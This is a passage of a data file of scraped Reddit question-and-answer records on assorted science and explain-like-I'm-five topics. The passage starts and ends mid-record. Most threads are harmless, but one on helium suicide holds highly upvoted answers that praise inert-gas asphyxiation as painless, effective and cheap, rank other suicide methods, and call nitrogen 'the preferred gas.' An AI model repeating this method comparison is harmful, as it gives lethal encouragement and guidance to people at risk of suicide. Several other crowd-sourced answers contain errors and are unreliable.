["http://www.youtube.com/watch?v=dxt6Iuu9kRE"], [], [], ["http://www.youtube.com/watch?v=3GX-y1Z1w00", "http://www.youtube.com/watch?v=D41rO7mL6zM", "http://www.youtube.com/watch?v=X5ZKk11R56o"], [], [], []]}
{"q_id": "36zktg", "title": "Why is the oxygen to hydrogen mass ratio on the shuttle's external tank 6:1 instead of 8:1?", "selftext": "Wouldn't a mass ratio of 8:1 be optimal?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/36zktg/why_is_the_oxygen_to_hydrogen_mass_ratio_on_the/", "answers": {"a_id": ["crig73b", "crigwju", "crihe4v", "crikoaq", "crim6az", "criuzy0"], "score": [1599, 90, 3, 20, 12, 4], "text": ["An optimal reaction is indeed a 1:8 ratio, but having unburnt hydrogen in the exhaust produces a higher specific impulse.\n\nThat is to say the fuel is more efficient in producing thrust when in a 1:6 ratio, even though energetically it is more efficient at 1:8.", "The [rocket equation](_URL_1_) determines vehicle acceleration, exhaust velocity is a key factor.  Hydrogen is much lighter and easier to accelerate to higher velocities, which is why the shuttle (and other rockets) tend to run excess hydrogen.  The tradeoff is that atomic (and molecular) kinetic energy is dependent on combustion temperature, which peaks at [stoichiometric mixture ratios](_URL_0_).\n\nIon thrusters use Xe because it maximizes ionization potential compared to storage mass.  H2 doesn't store well as a liquid on long missions and requires large, heavy tanks as a gas.", "Since the SSMEs were reused they needed to minimize the damage caused by oxygen at high temps. The extra hydrogen made the mixture a bit more rich to make sure all the oxygen is used and the effect of the hot oxygen on the engine parts is small.", "I gave a similar answer in this thread: _URL_0_\n\n >  Wouldn't a mass ratio of 8:1 be optimal?\n\nYes, if you're focusing on complete combustion. A mass ratio of 8:1 would be needed to burn all the hydrogen (perfect complete combustion is unreachable in practice, but you can get very close).\n\nOthers have correctly pointed out that what matters is the specific impulse or exhaust speed. This is not necessarily achieved when you get the most energy from the fuel, but it also improves when you have a light molecular mass. In the case of hydrogen-oxygen rockets these two goals conflict each other.\n\nThat concept is formalized in [this equation](_URL_1_). Energy does not appear as a factor but it is implied by the temperature.\n\nSo if your combustion is incomplete you get lots of pure hydrogen molecules, and they are 9 times lighter than water molecules.\n\nIf you keep reducing the oxidizer to fuel ratio than the fraction of hydrogen increases, but then you'll also be decreasing the temperature too much. The 6:1 ratio is the optimal mixture (or close to it).", "The other reasons here are 100% correct and are the driving factor for the ratio, but there is another reason too. Fuel is also used as a coolant for the nozzle as liquid hydrogen is really cold. You can't use oxidizer as a coolant as mostly oxidizer can light more easily than mostly fuel that makes up the flow nearest to the edge of the nozzle. Again this is only a minor factor, but increases the fuel used by 10%.", "In short, to prevent exposure of the nozzle and engine parts to a high-oxygen environment. At those temperatures and oxygen concentrations, corrosion forms so quickly that it would compromise the structural integrity in-flight\n."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Stoichiometry", "http://en.wikipedia.org/wiki/Tsiolkovsky_rocket_equation"], [], ["http://www.reddit.com/r/askscience/comments/32q9fn/when_rocket_fuel_is_burning_to_create_lift_the/", "http://en.wikipedia.org/wiki/Rocket_engine_nozzle#One-dimensional_analysis_of_gas_flow_in_rocket_engine_nozzles"], [], []]}
{"q_id": "1uyxcj", "title": "A blue shirt reflects blue light, a green one reflects green light. Is it possible to make infrared shirts and would they be effective at keeping us cool in summer?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1uyxcj/a_blue_shirt_reflects_blue_light_a_green_one/", "answers": {"a_id": ["cen22jt", "cen2bux", "cen3w0o", "cen4hu7", "cen5a1l", "cen6re3", "cen7uqs", "cena7rj", "cencye1"], "score": [822, 210, 29, 47, 40, 122, 2, 9, 2], "text": ["That shirt might also be pretty effective at trapping your body heat.", "Yes and no. The thermal jackets you find in survival kits effectively are designed to reflect IR but keep in mind if you're reflecting it from your body, you're also keeping your body from radiating its own heat. I did the research a while ago but what I can recall, 1/3 - 1/2 of your body's cooling is from radiation. \n\nAlso, higher frequencies of light still add energy to your body (hence why greenhouses work). This is why you'll see white being used for clothing in some middle eastern countries, which is the practical way to use your proposed concept.\n\n", "Many firefighters wear reflective Mylar \"spacesuits\" to reflect heat.  They are very effective at reflecting radiated heat over the short term, although eventually heat is transferred by convection and contact.  Those suits also trap the body's own heat and tend to warm up.\n\nAlso, if you were in an area like the desert, with high radiation (lots of sunlight) and low convection (low humidity) then an IR reflecting garment can be very effective.  This is why traditional dress in the middle-east often include turbans and light-colored robes that cover the whole body.", "A red shirt only reflects red light. To someone who can only see green and blue light, it would appear black. To someone who can only see red, it would appear white.\n\nSo if you have infrared clothes, it will appear black. But if you look at it with a camera that only sees infrared, it would appear white.\n\nI have such a camera, and it was very interesting to look at my black clothes with it. Some of it was black, some of it was white.\n\nSo to answer your first question: Yes, it is possible, even by accident.", "This sounds like a classic grade-school misconception, that infrared light is actually made of heat, or is a form of heat.   Uh, no.  The books that teach this are wrong.  The source of the misconception is obvious: when invisible light shines on your skin, you feel warm.  If you weren't familiar with the physics, you might conclude that invisible IR light was made of heat.  Hold your hand near an electric heater, and apparently \"heat rays\" will warm your skin.  Wrong, because the same thing happens when UV light shines on your skin, or visible light, or microwaves.   In other words, all EM radiation is, in the language of those grade school books, \"a form of radiant heat.\"\n\nAs to your question: the wattage in sunlight is roughly half in the visible spectrum, and half in the near-infrared.   If your shirt only reflected IR light, it wouldn't work near as well as a metallized shirt which reflected everything.\n\nAnd as just_commenting points out, such a shirt would reflect your own thermal-IR back to your body again.  I would be like sitting inside an aluminum-foil oven.\n\nSomewhat OT: does anyone know why desert tribes wear black robes?  Maybe the cooling from the convective plume triggered by the hot cloth outweighs the radiation heating from wearing hot cloth?   Or maybe if all your colleagues were wearing blazing white clothes in the Sahara, you'd all need UV-opaque Eskimo goggles to avoid rapid cornea damage (UV snow blindness.)\n", "Just an informal aside from a surgeon here.  When surgical scrubs were invented, they were initially white.  This didn't work out well, as they were a pain in the ass to wash and they made the whole workspace very bright.  Someone, who was very intelligent and had a knowledge of the color-wheel, suggested that scrubs be made in the now notorious green-blue.  This is because it is on the opposite side of the color-wheel from bright red, which is the color of blood.  In turn, the scrubs color would absorb the color of the blood and make the patient and the workspace a more visibly pleasing area.  \n\nJust thought I would throw in some extra facts for the day.  Carry on!", "For all practical purposes, there are two types of infrared energy, thermal infrared and near(red)-infrared. Thermal infrared is the energy that you can feel as heat. Near-infrared is the one emitted from light sources such as a remote control. What makes different colored fabrics feel hotter is their capacity to adsorb(not reflect) light. So your blue shirt is adsorbing everything but blue light rays and the green shirt is adsorbing everything (IR, red, blue, UV) but green light. When a pigment adsorbs light energy it gets converted into heat energy(thermal IR).  \nGiven a white light source, a red shirt will feel hotter than a blue shirt because the blue pigment is reflecting the part of the spectrum that has the most energy and adsorbing just the weaker wavelengths. A red pigment does the inverse. A white shirt will do best at reflecting all the colors of the spectrum and will convert the least amount of light into heat. Washing your whites with a detergent labeled for \"brighter whites\" will also help reflect a lot of the near-infrared light. Synthetic clothes generally reflect more IR than cotton.  IR reflectivity is a big issue to consider in tactical situations as IR goggles might make camouflage clothing stick out like a sore thumb. Fabrics with special IR dyes also exist to take care of that. \n\nTLDR. Use a white synthetic long sleeve shirt and keep it clean.", "It is called \"A white shirt\" and I'm not being sarcastic.\n\nLight colored clothing is cooler in the summer because it reflects most of the light hitting it ( including infrared ).\n\nMylar is also an excellent infrared reflector ...too good actually since it would reflect your own body heat back at you.\n\nNow a one-way infrared mirror ,while interesting, is in the category of \"science fiction\" (the \"not in our lifetime\" kind of science fiction. )\n\n", "This is what white shirts are. They reflect visible light and infrared too. Its cooler with a white shirt on. The brighter the cooler.\n\nThere are tricks with multiple layers, wicking, transpiration and reflective panels but any tennis outfit has a lot of this type of thing built in. Manufacturers pay attention to the absorption coefficients in the infrared spectrum.\n\nSomething that reflects infrared also blocks it from emitting, so  like an igloo the inside of a shirt can become a mirror to reflect heat inward."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "2dxqx4", "title": "What are the bright specks you see distributed in the initial sphere of nuclear fire? [GIF included]", "selftext": "_URL_0_\n\nI'd like to know more about this phenomenon. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2dxqx4/what_are_the_bright_specks_you_see_distributed_in/", "answers": {"a_id": ["cjuezdc", "cjugwzd", "cjur84t", "cjux2up", "cjx0qz0"], "score": [6, 8, 4, 3, 2], "text": ["Additional question relating to nuclear explosion pics, reference:\n\n_URL_0_\n\nWhat are those vertical trails? I would guess they are debris but how in many pictures these lines are straight up from ground?", "Just because no one else knows, I wonder if they are high energy particles striking the detector.", "You are seeing tritium boosting. After the initial explosion, the pressure and heat causes a secondary fusion reaction that boosts the yield of the explosion. \n\nWhen a neutron is absorbed by a molecule of lithium deuteride (6Li2H), the molecule breaks up into a He, 2H (deuterium) and 3H (tritium). The deuterium can then react with the tritium in fusion. This releases enormous amounts of energy, much greater than you would get in a fission reaction. The end products include a free neutron and a helium atom. Schematically:\n\n6Li + n \u2192 4He + 3H + 4.7 MeV\n\nthen\n\n2H + 3H \u2192 4He + n + 17.6 MeV\n\n_URL_0_", "Not sure if it is within the rules or not to add context, but here is better footage of the test:\n_URL_1_\n\nAlong with some information about the test: _URL_0_\n\nAmazing that this is only 15 kilotons!", "The mottling effect you see is actually fragments of the bomb casing \"splashing\" back into the fireball as it expands. (Source: _URL_0_)\n\nAll the nuclear reactions are complete before the bomb casing even fragments. Everything visible on camera is solely due to physical interactions with the expanding superheated air/bomb material and anything nearby it."]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/oq59N55.gif"], "answers_urls": [["http://www.pics-place.com/wp-content/uploads/Nuclear-Explosion-pictures-75.jpg"], [], ["http://physics.info/weapons/"], ["http://en.wikipedia.org/wiki/Upshot-Knothole_Grable", "https://www.youtube.com/watch?v=dflLFFZcZ0w&amp;index=6&amp;list=PLWsJYU_bx7VvJ7frA5sf0g_C_0P6UW28R"], ["http://nuclearweaponarchive.org/Usa/Tests/Tumblers.html"]]}
{"q_id": "5vecc3", "title": "could a highly trained martial artist beat a chimp or other strong ape?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5vecc3/eli5_could_a_highly_trained_martial_artist_beat_a/", "answers": {"a_id": ["de1e38v"], "score": [3], "text": ["The difference is in the insertion points of their muscles. A chimp's biceps inserts halfway down its forearm where yours is just below the elbow. That gives it a lot more strength. A gorilla's glutes originate way up their back. The levers are just way longer.\n\nThen you have to think about this too: pain compliance is a big deal in a lot of martial arts. But these guys won't comply, so you have to go to what will debilitate or kill. And we're at a disadvantage there too. Wild animals will just fight harder if they're injured. What do they have to lose?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4iegpl", "title": "Are electric cars more dangerous to pedestrians and cyclists than other cars due to their overall lower noise levels?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4iegpl/are_electric_cars_more_dangerous_to_pedestrians/", "answers": {"a_id": ["d2xq5gm", "d2xqpcz", "d2y3t1l", "d2yd767"], "score": [8, 2, 4, 2], "text": ["I'm not sure that many studies have looked too closely into this at this point in time.\n\nThere are a number of ongoing discussions about what a minimum noise-level should be, and whether artificial noise should be added to EVs for just this reason.\n\nI was able to find a study on the topic, but it focused on [blind pedestrians.](_URL_0_)", "It doesn't take a genius to note that aside from reckless drivers, the real problem wouldn't be the cars, rather it would be jay-walkers and people crossing the street whilst looking at their phones. Sure blind pedestrians would be severely affected  by the noise, but there are now crosswalks that tell you when it's safe to cross and what not. \nEdit: not trying to insult anyone, just trying to point out the increasing problem of pedestrians constantly distracted by their mobile phones ", "Low noise levels are certainly a concern and have resulted in reports from various regulatory bodies. See [here](_URL_1_) and [here](_URL_0_).\n\nWikipedia actually has a [nice review on the topic](_URL_2_).", "This question is slightly speculative since there aren't still many electric cars around, so we don't have statistically significant number of accidents to provide concrete data. So far all conclusions have been based on subjective reports of pedestrians and cyclists about their use of hearing, but I haven't heard of any serious studies that I would call \"scientific\".\n\nWhat is concrete is that the EU has ruled that electric cars must make artificial engine sound.\n\n_URL_0_\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ncbi.nlm.nih.gov/pmc/articles/PMC3396425/"], [], ["https://www.gov.uk/government/uploads/system/uploads/attachment_data/file/4486/PPR525-assessing-the-perceived-safety-risk-from-quiet-electric-and-hybrid-vehicles.pdf", "https://www.federalregister.gov/articles/2013/01/14/2013-00359/federal-motor-vehicle-safety-standards-minimum-sound-requirements-for-hybrid-and-electric-vehicles", "https://en.wikipedia.org/wiki/Electric_vehicle_warning_sounds"], ["http://www.dailymail.co.uk/news/article-2595451/Silent-deadly-EU-rules-electric-cars-make-artificial-engine-noise-fears-kill-unsuspecting-pedestrians.html"]]}
{"q_id": "4cmi1s", "title": "How long has India been referred to as a subcontinent? Does that classification predate the theory of continental drift?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4cmi1s/how_long_has_india_been_referred_to_as_a/", "answers": {"a_id": ["d1jstmj"], "score": [2], "text": ["I can't answer when it was first referred to as the subcontinent, but I can tell you it has absolutely nothing to do with continental drift.\n\nIt's not called the \"subcontinent\" because it happens to sit on a separate continental plate that crashed into Asia 40 million years ago. It's called that because of the *results* of that collision, which are apparent entirely in the topography (and to a lesser extent, vegetation).\n\nIf you look [at a relief map of the subcontinent](_URL_0_), you can see that it is almost entirely walled off from the rest of Asia. There are only a few gaps where people can get through - the Khyber Pass through Afghanistan, a short stretch of pretty inhospitable coastline in southern Baluchistan, and the jungles of Assam in the east. Either there are tall mountains blocking the way, or these is dense tropical jungle (which until recently was also home to headhunting tribes).\n\nThis seals off the subcontinent from the rest of Asia, which means that historically, civilization in the subcontinent developed and went its own way without a lot of contact from the outside world. This is reflected in languages, culture, cuisine, shared history, etc. The subcontinent has kind of always been its own world.\n\nOf course, these features are due to plate tectonics and continental drift, but you don't **need** a theory of plate tectonics to call it the subcontinent. The actual physical features produced by continental drift, in the form of those big mountains and the resultant impediment to human migrations, have been around for tens of millions of years. We look at the *fact* of the isolation to call it the subcontinent, we don't need to know the geological *why* of it to make those categorizations."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://previews.123rf.com/images/mschmeling/mschmeling1110/mschmeling111000163/10899083-L-Inde--Banque-d'images.jpg"]]}
{"q_id": "ffnqw", "title": "In terms of our cognitive processing and eye strain, is there a substantive difference between the light we absorb from a candle/sun versus that of an electronic/digital screen (i.e. a computer)?", "selftext": "Would such a difference not account for why we experience headaches from looking at a computer monitor all day relative to reading by candlelight or sitting watching a fire?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ffnqw/in_terms_of_our_cognitive_processing_and_eye/", "answers": {"a_id": ["c1fktau", "c1fkywu", "c1fn0pe"], "score": [16, 7, 2], "text": ["The retina can differentiate luminance levels with a range of 2-3.5 orders of magnitude [[pdf]](_URL_0_). \n\nHowever, our overall range of acuity is much higher than that at around [14-15 orders of magnitude](_URL_2_). The reason is that the pupil as well as the cognitive mechanisms in the retina and brain (luminance constancy) truncate the light levels above or below the current threshold. \n\n* Scotopic vision - only rods are sensitive enough, and it's too dark for cones (we're color blind)\n* Mesopic vision - Cones start to pick up light, and rods are near saturation\n* Photopic vision - Cones only. Rods are completely saturated (and [chemically unable](_URL_1_) to readapt for half an hour)\n\nThe range that you can experience at any given time is a sliding window of your overall ability to differentiate light levels. Anything below the current range looks black. Anything above it is white (and sometimes painful to prevent you from looking at sources of infrared). Both will cause your eyes to shift the range.\n\nInteresting point: We almost never use scotpic vision anymore. It's rarely dark enough, even in a movie theatre!\n\n**To your question:**\nWhen you're indoors, you are adapted to it. As long as the screens brightness is close to that of the surrounding room, it's not an issue. If, however, you're on a dim monitor in really bright room, you may have have alittle bit of trouble with small text, but you're fine otherwise.\n\n**Why does looking at a screen for too long hurt?**\nMy guesses are (a) not blinking enough - dry eyes suck (b) focusing your eyes closely for too long - your lense is surrounded by muscles. It's probably a combination of the two.\n", "I don't know how to answer your question, but recently I've been using a cool program called [f.lux](_URL_0_) that turns your screen's colour to a more orange/yellow shade at night, and I like it. Might want to check out the \"research\" section on their website for info that could answer your question.", "When we are reading or looking at a computer screen our ciliary muscles are actually contracted making our lens more concave (I know it's counter intuitive). So after hours of staring at a close object our eye's ache and we get a headache. This is why it's important to relax the ciliary muscles by looking a far away objects. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.cs.bris.ac.uk/~reinhard/papers/kunkel_apgv2010.pdf", "http://en.wikipedia.org/wiki/Dark_adaptation", "http://i.imgur.com/8OKEk.png"], ["http://www.stereopsis.com/flux/"], []]}
{"q_id": "144ou5", "title": "Are bitter almonds really poisonous?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/144ou5/are_bitter_almonds_really_poisonous/", "answers": {"a_id": ["c79tox9"], "score": [4], "text": ["Wikipedia says: [Extract of bitter almond was once used medicinally, but even in small doses, effects are severe, and in larger doses can be deadly; the cyanide must be removed before consumption.](_URL_0_)\n\nYou really ought to trust proper citations more than an \"alternative medicine\" article.\n\n > Do you know what they call \"alternative medicine\" That's been proved to work? Medicine. ~Tim Minchin"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Almond#Sweet_and_bitter_almonds"]]}
{"q_id": "bg33rl", "title": "how does a group of animators split the load to produce a uniform film when each one of them draws differently?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bg33rl/eli5_how_does_a_group_of_animators_split_the_load/", "answers": {"a_id": ["eli2zul", "elic7yf", "elist5f", "eliwnnv", "elj746i"], "score": [112, 12, 9, 6, 2], "text": ["For non-digital works they typically use templates and strict divisions of labor. One person (or small group) draws the outlines, another group fills it in, another group does the shading etc.\n\nFor digital works different animators are responsible for very specific items and then share their work. One person (or small team) will collectively create clothing or hair or skin textures. Another group works on the skeleton that you then put the textures on. Another group then works specifically on the motion and movement. Another group on lighting and shading.\n\nThey're using the same items (assets is what they're typically called). Skeleton team saves a model and all the other ones can download it for their use. Texture team saves clothing or skin or what not and every other team can download it and use it so that the digital assets are the same across everyone's department.\n\nFINALLY there is editing that happens, just like a movie. Just like in live-action there are editors to make sure everything makes sense and that people look the same between shots, there are the editors for animation that ensure that there isn't noticeable deviation between frames.", "Animation is not done by drawing each frame as a picture.   Instead the draw lots of bits of picture on clear plastic called cells and then stack them together to make the picture.   This lets them reuse backgrounds and such that don't change every panel. \n\nFor consistency they can have the same person draw one thing for the whole movie.   For example on person drew the sparkles for the magic wand in cinderella.   Every time the wand sparkled it used a cell drawn by that person", "Building on the other posts they also make terribly explicit reference sheets. Here's one from Belle: _URL_0_\n\nBasically they figure out that you start with the circle and if you divide it in half you get the placement for this line and if you divide that into thirds you'll find the eyebrow, etc.", "also, keyframes\n\nA smaller team (or person) does only every nth frame (the keyframes), and a much larger team does all the frames in-between.\n\nThey use the keyframes as reference, so it allows consistency.", "As well as the style sheets and general drawing skill, another factor in traditional animation is called \"inbetweening\". A good artist will draw key frames that depict important dynamic moments in the action, and other competent artists will draw the other frames which depict the movement between the key frames. This method conserves the workload of the good artists and ensures a consistent look to the finished animation."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://1.bp.blogspot.com/_CQU4SY2v8Z8/TVHhuWE0SDI/AAAAAAAAALE/Hszc9OjGVHs/s1600/Belle_Modelsheet.jpg"], [], []]}
{"q_id": "4epj85", "title": "How could one bake a cake in zero-gravity? What would be its effects on the chemical processes?", "selftext": "Discounting the difficulty of building a zero-G oven, how does gravity affect the rising of the batter, water boiling, etc? How much longer would it take? Would the cosmonauts need a spherical pan? \n\nDo speculate on any related physical processes apart from cake rising, which I just thought of as a simple example. Could one cook in zero G?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4epj85/how_could_one_bake_a_cake_in_zerogravity_what/", "answers": {"a_id": ["d227u7n", "d22fpz1", "d22fuaq", "d22h4ad", "d22hkbq", "d22ip0t", "d22jce4", "d22m91x", "d22pywi", "d22q54o", "d22q78j", "d22sz7a", "d22tk4w"], "score": [105, 633, 30, 22, 71, 4, 2, 3, 6, 7, 3, 4, 4], "text": ["Well for one thing you don't have convection without gravity, so you can expect more even heating and expansion,  but then again, the viscosity of your batter might make this pretty minor effect anyway", "You'd need a forced convection oven as others have discussed. I'd reduce the amount of baking soda/baking powder, because without the influence of gravity, a little bit of leavening agent will go a long way.  ~~You would need additional moisture in the batter as well, from what I understand spacecraft are kept at relatively low pressure, so you'd need an extreme version of the 'high altitude' recipe~~ Most if not all spacecraft are operated at 1 atm.  Other than that I'd have something to hold the pan in place in the oven, but I think the cohesive and adhesive forces of the batter will keep it in the pan during the baking process.  I would not want to flour a pan in zero-g. ", "With a fan, an oven in zero-g would work fine. You probably want to fix the container for your cake to a wall somehow (mechanically, as sticky things with heat are problematic). It can stay in the container via adhesion, and rise in the same way as it can on Earth.\n\nCooking is more challenging. I guess a closed container is needed for safety. You can spin it to get the liquid to the container walls, then you can cook like on Earth. Otherwise contact to heating surfaces is problematic - the water will boil there and establish a gas layer between heating surfaces and water, which reduces the heat flow.", "it would be a nightmare to make the cake. all the floating flour, no real way to mix in the eggs, the icing would just float away, as nothing pushes it on the cake when applying it. of all the hard things that come from making a cake at 0g, the baking would be the easiest.", "A lot of focus has been placed on heating the cake.  The lack of convection or simulating it etc.  Nothing has been talked about the chemical processes.  Breads rise because yeast consume available sugars and release CO2 that gets trapped in the starch and protein structure. The same goes for Cake where the rising agents are baking soda or powder.  the chemical process should happen with out issue. And I would suspect the outcome would be a light fluffy and very round cake. As for yeast given the right strain that can function in 0G it should work also.  Fortunately Nasa is already working on it _URL_0_\n", "You'd probably want not a spherical pan but a flattened cylinder pan (top, bottom, and walls).  The top would prevent uncontrolled leavening until the crust forms.\n\nBeyond that you have the issue of leavening (creating air pockets) and having the matrix set up (keeping the air pockets from collapsing).   Lack of gravity could be an issue in getting the air pockets to merge, potentially requiring mild vibration of the pan in the oven.  But once formed, If anything the lack of gravity would mean you could keep the air pockets without a firm matrix so you could have some really cool new forms of cake - imagine molten lava cake where the melted part is airy but also fudgey.\n\n", "All that matters in a practical sense are the conditions surrounding the pan filled with liquid batter. Gravity counts for nil compared to the adhesion, gas expansion, and gluten network formation. Ambient pressure will matter because of its direct effect on boiling point, the hottest a watery food can become. Ambient relative humidity will affect drying of the exposed top and sides of the cake.", "What about the whipped-cream charger foaming + microwave method of cake making. You put the batter into a whipped cream charger and squirt the mixture out into a containment vessel (which would seriously cut down on mess). That makes it a colloid so the sponge is already formed. Then you put the containment vessel into a microwave oven (or zap it with an already on-station microwave source if you don't want to spend the upmass) for under a minute. They do this on food network all the time. Just not in space.", "One thing to think about with any kind of food cooking is that due to the very small air volume, any odors generated are going to linger for a long, long time. Activated charcoal air filters would do a lot, but there's an entire team of people at NASA who work on ensuring that the materials used in everything that go into space don't generate offensive odors.\n\nWith water boiling, the Leidenfrost effect is going to be much stronger - getting a large volume of water to boiling is going to be nearly impossible. Cooking sous vide is far more practical for zero G - it'll both control odorants while cooking, and use sub-boiling temperatures, so there's less difficulty in cooking things thoroughly.", "/u/Science_Monster's post is a good place to start.\n\nBut instead of a pan, it might be better to have the cake made as a sphere around a metal ball attached to a post. Imagine an oven that looks like a plasma ball, where the 'pan' is the sphere on a post in the center and the edges of the oven are the shell. The inner sphere ought to be hollow and possibly have its own internal heat source. That way you can arrange it so that there is heating inside and outside the cake and keep it heating evenly.\n\nCooking in space probably involves breaking out the radiative transfer books either way.\n\nIt reminds me of a short story by some author, perhaps Asimov, who imagined a space ship where the kitchens were the inside hull plating on the sun side of the ship and refrigerators were the hull plating on the dark side.", "With zero G, would you even need a pan? The whole purpose of a pan is to keep the cake batter from falling onto the bottom of the oven, but in zero G nothing can fall.\n\nAll you'd need is a wooden skewer for the batter to cling to. You place it in a spherical oven that shuts like an iron maiden, and crank it up. Since the cabins are pressurized to match earth, that won't affect rising. There's no gravity holding it down so it should expand more, but there's also no pan holding in the gasses on the sides and bottom which will allow pressure to escape, resulting in less expansion. \n\nAlso, people mention \"convection\"... this is something we need on earth, because heat rises (because hot air is less dense). With zero G, the heat just radiates out from the heat source. If the oven's heating elements are built into the walls all the way around, then the whole oven will heat evenly without convection. (obviously outer walls will have amazing insulation)\n\nWithout a pan, convection would probably end up sucking the batter off the skewer and into the air currents and throwing it all over the oven.", "There's a company who have developed 'ColdBake' technology to create crunchy or chewy products with minimal heat (a combination of ingredients and vacuum, and low heat I believe).\n\n_URL_0_\n\nThey are pitching it as a way to retain heat-sensitive nutrition, but I'm guessing it could also be a more viable way to 'bake' in zero gravity too\n\n", "Would you even need a pan (spherical or otherwise)?  The glob could just float in the center of the oven, though I'm imagining a a few rods spanning the interior of the oven and intersecting in the center for the batter to adhere to."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://www.nasa.gov/mission_pages/station/research/news/Micro_4.html"], [], [], [], [], [], [], ["http://www.carritechresearch.com/"], []]}
{"q_id": "ah5qcg", "title": "why do most foods in the us have a calorie count ending in 0 or 5, especially in processed foods?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ah5qcg/eli5_why_do_most_foods_in_the_us_have_a_calorie/", "answers": {"a_id": ["eebnids"], "score": [45], "text": ["Rounding off to the nearest increment of five is allowed to account for inaccuracy in the measuring and cooking process. A single tic tac mint has 2 calories, so they can legally say that a single tic tac has zero on their packaging for example."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "c6xydi", "title": "why is helium a popular gas for suicide?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c6xydi/eli5_why_is_helium_a_popular_gas_for_suicide/", "answers": {"a_id": ["esbrsu8", "esbsta1", "esbt0lj", "esbtfvk", "esbu5qu", "esc5mi6"], "score": [122, 11, 126, 5, 2, 7], "text": ["Your body can't tell the difference between helium and oxygen, so you feel as if you're breathing normally. However, all the effects of asphyxiation occur normally. This means you'll slowly get sleepier and sleepier until you pass out and die from asphyxiation. It's 100% painless, 100% effective, and very inexpensive.\n\n & #x200B;\n\nMany traditional forms of suicide carry at least one of those three significant downsides. It's either painful (drugs, physical injury), not 100% effective (hanging, bloodletting, drugs), expensive (guns), or requires a great deal of courage (such as running into traffic, or jumping off of a high thing). Helium bypasses all of those things.", "And all the people at the party just think your getting ready to sing an Alvin and the chipmunks song.", "IF YOU ARE CONTEMPLATING SUICIDE, SEEK HELP, TALK TO SOMEONE, TALK TO US.  CALL THE SAMARITANS FREE ON 1(800) 273-TALK  \n  \nOne of the downsides of Helium people choose to omit is that if your attempt gets aborted because youpass out, drop something, get found, there\u2019s a very good chance you\u2019ll spend the rest of your life with severe brain damage and disabilities due to the oxygen deprivation to the brain. DONT DO IT,\n  \nHead over to r/SuicideWatch for support", "Omg! I never realised Helium was used for this purpose! I'm in no way condoning it, nor have I ever contemplated Suicide, but simply shocked that it is used as a method.", "Doesn't it mean that one balloon should be enough right?  Scary cheap in this case.", "When you hold your breath the compelling feeling of wanting to breathe after a bit comes from the build up of CO2 (Carbon Dioxide) in the blood not from the lack of O2 (Oxygen).\n\nThis means that in a situation where you are NOT breathing Oxygen but still able to expel CO2 regularly your body/brain are none the wiser of what's happening (unless what you are breathing has some active biological effect that you can experience) and after a few minutes of hypoxia (Oxygen deprivation) you suddenly drop dead like if a light switch was flipped.\n\nBoth Helium and Nitrogen (this being the preferred gas) are a great way to die because as I said above as long as you are expelling CO2 there won't be any feeling of suffocation, if anything Nitrogen gives a feeling of euphoria and then you just die."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "c0pc0h", "title": "how do veterinary surgeons operate on turtles and tortoises? where do they make the incisions?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c0pc0h/eli5_how_do_veterinary_surgeons_operate_on/", "answers": {"a_id": ["er6hgck", "er6r1n3", "er6un2v", "er6wktv", "er6wtvt", "er6xqgh", "er78zbm", "er7auhy", "er7byh1", "er7o5jc", "er7twab", "er85bsl", "er8mbj1", "er8o4jt", "er8y1qd", "er93ku5"], "score": [1479, 9897, 209, 39, 312, 80, 19, 6, 5, 2, 3, 2, 5, 2, 3, 2], "text": ["Endoscopic guided surgeries have advanced how well we can do surgery with turtles and tortoises. So we can gain access to some of the internal organs by making small incisions in (usually) high up on the thigh of the chelion. \nFor those that don\u2019t have endoscopes that require access - the hard plates are essentially bone. Crack a piece open in the quadrant you need to work in and get to it. Then close with some wire and special epoxy.", "The first practice I worked at we did some turtle surgery. We had a tortoise that ate a thumb tack and was stuck in the intestine.  You cut 3 sides of a square on the plastron (bottom of the shell).  It makes a hinged flap.  Once done, we used epoxy to glue the shell back together. We got it from the bike shop next door. It takes 2 years for the plastron to heal. Tortoise did great! Chelonians and reptiles are really easy to intubate but a bitch to monitor as they can just not breath for ages. Stupid anaerobic respiration.", "I rescued a painted turtle that had been run over by a ditch mower back in the 90s.  I did wildlife rehab had, had an excellent vet who treated everything I brought in without charge, I did all the follow up care.  This poor turtle's she'll was cracked, in 2 places coming to a point, so the point lifted above the rest of the shell. I could see right into him. Vet thought maybe we could press it down, super glue it shut then duct tape it.  Cripes, we couldn't get it to bend back down!  So, she loaded me up with antibiotics and I put him in a small tank with only about an inch of water.  He ate just fine, and 4 months later I released 